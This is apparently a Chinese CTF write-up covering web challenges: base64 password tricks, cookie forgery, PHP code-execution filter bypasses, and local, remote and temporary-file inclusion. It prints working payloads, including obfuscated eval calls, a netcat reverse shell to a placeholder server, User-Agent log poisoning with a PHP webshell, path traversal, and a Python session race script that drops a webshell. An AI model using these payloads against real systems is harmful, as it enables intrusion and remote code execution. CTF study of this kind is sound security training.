第一章

base64编码隐藏

打开题目,是一个登录页面

ctrl+u查看源代码,看到

const correctPassword = "Q1RGe2Vhc3lfYmFzZTY0fQ==";

base64解码后,输入密码得到flag

CTF{easy_base64}

HTTP头注入

与上一题相同的页面,但输入密码后显示UA错误,修改UA为ctf-show-brower后,得到flag

Base64多层嵌套解码

<script>
document.getElementById('loginForm').addEventListener('submit', function(e) {
const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=";

function validatePassword(input) {
let encoded = btoa(input);
encoded = btoa(encoded + 'xH7jK').slice(3);
encoded = btoa(encoded.split('').reverse().join(''));
encoded = btoa('aB3' + encoded + 'qW9').substr(2);
return btoa(encoded) === correctPassword;
}
});
</script>

查看源代码,得知密码加密后为

SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=

查看编码逻辑

第一步:

现将输入内容进行一次base64加密

第二步:

将加密后的内容,后加一串’’xH7jK’’,再进行第二次base64加密,之后删除前三个字符

第三步:

现将字符进行一次翻转,再进行一次base64编码

第四步:

在加密字符的前后加内容,在进行一次base64编码,最后再去除前两个字符

最后进行与正确值的判断

由于不知道每次去除的字符,所以这里采用爆破手段

// 在控制台直接运行以下代码
const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=";

function encrypt(password) {
let encoded = btoa(password);
encoded = btoa(encoded + 'xH7jK').slice(3);
encoded = btoa(encoded.split('').reverse().join(''));
encoded = btoa('aB3' + encoded + 'qW9').substr(2);
return btoa(encoded);
}

function bruteForce6Digit() {
console.time('Brute Force Time');

// 生成6位数字的优化方法(000000-999999)
for (let num = 0; num <= 999999; num++) {
// 补零到6位
const candidate = num.toString();

// 加密并比对
if (encrypt(candidate) === correctPassword) {
console.timeEnd('Brute Force Time');
return candidate;
}

// 每10万次输出进度
if (num % 100000 === 0) {
console.log(`Progress: ${num/100000}0%`);
}
}

console.timeEnd('Brute Force Time');
return "Not found";
}

// 执行破解
console.log("Result:", bruteForce6Digit());

在控制台中运行后得到正确密码,修改UA后提交,得到正确flag

HTTP中间人攻击

直接给了个流量包

打开后能直接看到POST请求得到了flag

按照官方wp,应该是能看到加密后的flag,用附件给的密码进行解密

Cookie伪造

打开发现是一个登录页面

默认账号密码guest/guest

登录后什么也没有

查看cookie,发现存在一个“role”的值为“guest”

修改为“admin”之后重新登陆,得到flag

第二章

一句话木马变形

点开后显示让我们输入php代码

phpinfo();

能够看到php信息

尝试进行RCE,发现存在过滤

对一系列函数进行了过滤,但没有过滤eval和base64等

eval(base664_decode());

对“=”进行了过滤,可以加空格再编码

最终payload:

eval(base64_decode(c3lzdGVtKCd0YWMgIGYqJyk7));

反弹shell构造

建议还是使用服务器,内网穿透可能不稳定

首先在服务器里建立端口监听

nc -lvnp 4444

开始对4444这个端口进行监听

接着看题目

题目跟上一题一样有一个phpcode运行,但输入命令后只有一个“execute success!”显示,所以正常RCE可能很难

使用反弹shell

nc xxx 4444 -e/bin/sh

xxx是服务器的公网ip,连接之后,在服务器上能看到连接成功,接着进行rce

nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 124.223.158.81 46072
ls
flag.php
index.php
tac f*
$flag = "CTF{reverse_shell_use_nc}";
<?php

成功拿到flag

管道符绕过过滤

依旧代码执行

随便输入一点

ls
ls ls execute success!

就是在前面加了一个ls

直接

&tac f*

拿到flag

无字母数字代码执行

代码执行,使用bp+url编码绕过

<?php

$system="system";

$command="tac flag.php";

echo '(~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>
(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);

使用bp发送,得到flag

第三章

日志文件包含

普通的文件包含,”//“被禁用,用伪协议可能是做不了了

所以选用标题所示的日志文件包含

首先用bp拦下,扔到repeater

file=/var/log/nginx/access.log

UA写码:

<?= eval($_POST[1]);?>
POST / HTTP/1.1
Host: 8d4f22df-ae2b-4f7b-a0c8-53f677c2fa6f.challenge.ctf.show
Content-Length: 50
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: https://8d4f22df-ae2b-4f7b-a0c8-53f677c2fa6f.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent:<?= eval($_POST[1]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://8d4f22df-ae2b-4f7b-a0c8-53f677c2fa6f.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

file=/var/log/nginx/access.log&1=system('tac f*');

成功拿到flag

&lt;?php
&quot;
172.12.234.244 - - [28/Nov/2025:13:08:45 +0000] &quot;POST / HTTP/1.1&quot; 200 1362 &quot;https://8d4f22df-ae2b-4f7b-a0c8-53f677c2fa6f.challenge.ctf.show/&quot; &quot;$flag = &quot;CTF{php_access_l0g_lf1_is_fun}&quot;;
&lt;?php
&quot;

php://filter读取源码

还用上一题的payload,结果果然是被禁用了

试一下伪协议读取

php://filter/convert.base64-encode/resource=flag.php

没读出来,那先拿index.php

index.php:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PHP LFI/RFI Code Executor</title>
<style>
body {
font-family: 'Arial', sans-serif;
background: linear-gradient(135deg, #1e3c72, #2a5298);
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
margin: 0;
color: white;
}
.container {
background: rgba(255, 255, 255, 0.1);
backdrop-filter: blur(10px);
border-radius: 10px;
padding: 2rem;
width: 600px;
box-shadow: 0 15px 30px rgba(0, 0, 0, 0.2);
text-align: center;
}
.container h2 {
margin-bottom: 1.5rem;
}
.form-group {
margin-bottom: 1rem;
text-align: left;
}
.form-group label {
display: block;
margin-bottom: 0.5rem;
font-weight: bold;
}
.form-group textarea {
width: 100%;
padding: 0.8rem;
border: none;
border-radius: 5px;
background: rgba(255, 255, 255, 0.2);
color: white;
min-height: 200px;
font-family: monospace;
}
.form-group textarea:focus {
outline: none;
background: rgba(255, 255, 255, 0.3);
}
button {
width: 100%;
padding: 0.8rem;
border: none;
border-radius: 5px;
background: #4CAF50;
color: white;
font-weight: bold;
cursor: pointer;
transition: background 0.3s;
}
button:hover {
background: #45a049;
}
.result {
margin-top: 1rem;
padding: 0.8rem;
border-radius: 5px;
background: rgba(0, 0, 0, 0.3);
text-align: left;
white-space: pre-wrap;
font-family: monospace;
min-height: 100px;
max-height: 300px;
overflow-y: auto;
}
</style>
</head>
<body>
<div class="container">
<h2>PHP LFI/RFI Code Executor</h2>
<form method="POST">
<div class="form-group">
<label for="file">Enter file path:</label>
<textarea id="file" name="file" placeholder=""><?php
if (isset($_POST['file'])) {
echo htmlspecialchars($_POST['file']);
}
?></textarea>
</div>
<button type="submit">Include file</button>
</form>

<?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file'])): ?>
<div class="form-group">
<label>Include Result:</label>
<div class="result"><?php
include "db.php";
function validate_file_contents($file) {

if(preg_match('/[^a-zA-Z0-9\/\+=]/', $file)){
return false;
}
return true;
}

try {
// Validate input characters
if (preg_match('/log|nginx|access/', $_POST['file'])) {
throw new Exception('Invalid input. Please enter a valid file path.');
}

ob_start();
echo file_get_contents($_POST['file']);
$output = ob_get_clean();
if(!validate_file_contents($output)){
throw new Exception('Invalid input. Please enter a valid file path.');
}else{
echo 'File contents:';
echo '<br>';
echo $output;
}

} catch (Exception $e) {
echo 'Error: ' . htmlspecialchars($e->getMessage());
}
?></div>
</div>
<?php endif; ?>
</div>
</body>
</html>

能看到有一个db.php

读一下这个文件,成功拿到flag

<?php

$servername = "localhost";
$username = "root";
$password = "CTF{3ecret_passw0rd_here}";
$dbname = "book_store";

远程文件包含(RFI)

文件包含

前面的方法都不能用

使用标题的远程包含

就是包含一个网站文件,网站文件包含一个木马

可以用自己服务器的,也可以使用在线的网站

这里用的是在线网站

your-shell.com/1

这个文件里包含一个木马,在题目里包含这个网站,之后直接rce即可拿到flag

路径遍历突破

就是多穿几层

题目不让用/或../开头,随便加点东西,然后多穿几层即可

payload:

aaa/../../../../../../../../flag.txt

即可得到flag

临时文件包含

session竞争,这里使用脚本完成


import requests
import threading
session=requests.session()
sess='ctfshow'
url="http://748e65e1-0ecd-4ee8-91a3-0f78be65338c.challenge.ctf.show/"

data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php echo "success";file_put_contents("/var/www/html/1.php","<?php eval(\\$_POST[1]);?>");?>'
}
file={
'file':'ctfshow'
}
cookies={
'PHPSESSID': sess
}

def write():
while True:
r = session.post(url,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url+"?path=/tmp/sess_ctfshow",cookies=cookies)
if 'success' in r.text:
print("shell 地址为:"+url+"1.php")
exit()

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

第四章